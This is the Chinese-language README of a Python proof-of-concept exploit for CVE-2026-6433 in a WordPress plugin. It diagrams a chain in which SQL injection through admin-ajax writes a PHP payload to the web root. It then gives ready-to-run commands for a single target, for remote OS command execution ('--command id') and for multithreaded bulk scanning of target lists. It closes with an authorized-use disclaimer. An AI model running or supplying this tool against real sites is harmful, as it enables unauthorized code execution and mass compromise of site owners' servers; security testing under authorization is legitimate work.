概览

flowchart TB
    subgraph prep[" Preconditions "]
        A["Target runs vulnerable plugin"]
        B["admin-ajax reachable"]
    end
    subgraph chain[" Exploit chain "]
        C["POST fc_ajax_call / wce_editor_inline_code"]
        D["SQLi injects PHP payload"]
        E["Proof file written under DOCUMENT_ROOT"]
        F["Optional: fetch proof / run command output"]
        G["Default: remote unlink cleanup"]
    end
    A --> C
    B --> C
    C --> D --> E --> F --> G

为什么这份 README 看起来“色彩丰富”

在 GitHub 上，徽章、表格和图表的渲染具有强烈的视觉对比。本文档的结构让您可以快速浏览（徽章 + 表格），也可以深入阅读（下方章节）。

环境要求

• Python 3.x（无需 pip install — 仅需标准库）
• 可访问被测 WordPress 站点的网络环境
• 测试目标所需的合法授权（参见免责声明）

快速开始

克隆或下载此文件夹，然后：

# Help / all flags
python CVE-2026-6433.py --help

单个目标

# PHP-only proof (writes a small proof file; good for locked-down shells)
python CVE-2026-6433.py https://target.example --php-only --no-cleanup

# Run an OS command and print captured output (if execution functions exist remotely)
python CVE-2026-6433.py https://target.example --command "id"

# Only attempt to delete the proof file (cleanup mode)
python CVE-2026-6433.py https://target.example --cleanup-only

批量扫描（多线程）

使用一个文本文件，每行一个基础 URL。以 # 开头的行和空行将被忽略。

python CVE-2026-6433.py --bulk targets.txt --threads 8

示例 targets.txt：

# Lab hosts — replace with authorized systems only
https://site-a.example
https://site-b.example

注意：

• 请勿同时传入位置参数 URL 和 --bulk。
• 并发数上限为目标数量（min(threads, len(targets))）。
• 若任一批量目标失败，退出代码为 1。

命令行参数参考

成功 / 失败的表现

单个目标

• 失败时，您将看到 FAIL: …，进程以代码 1 退出。
• 成功时，根据所用标志，您将看到证明 URL、命令输出或清理状态。

批量模式

• 以 [Bulk scan] 为前缀的行用于汇总进度。
• 每台主机会打印 [OK] 或 [FAIL]，并附上原因。

操作与安全说明

• 为方便实验室环境使用，脚本禁用了 TLS 证书验证。切勿将其视为生产环境安全模式。
• 默认行为会在利用后尝试删除证明文件 — 在授权项目中需要保留证据时，请使用 --no-cleanup。
• 如果插件未激活、被 WAF 拦截，或主机对 PHP 执行进行了加固，各步骤可能会失败，并在 stdout/stderr 中显示清晰的错误信息。

致谢

[!WARNING] 仅限合法与道德使用

本概念验证仅用于教育、防御性研究和授权安全测试。
在未获得明确书面许可的情况下对系统运行它，可能违反您所在司法辖区的计算机滥用相关法律。
作者与贡献者对滥用行为不承担任何责任。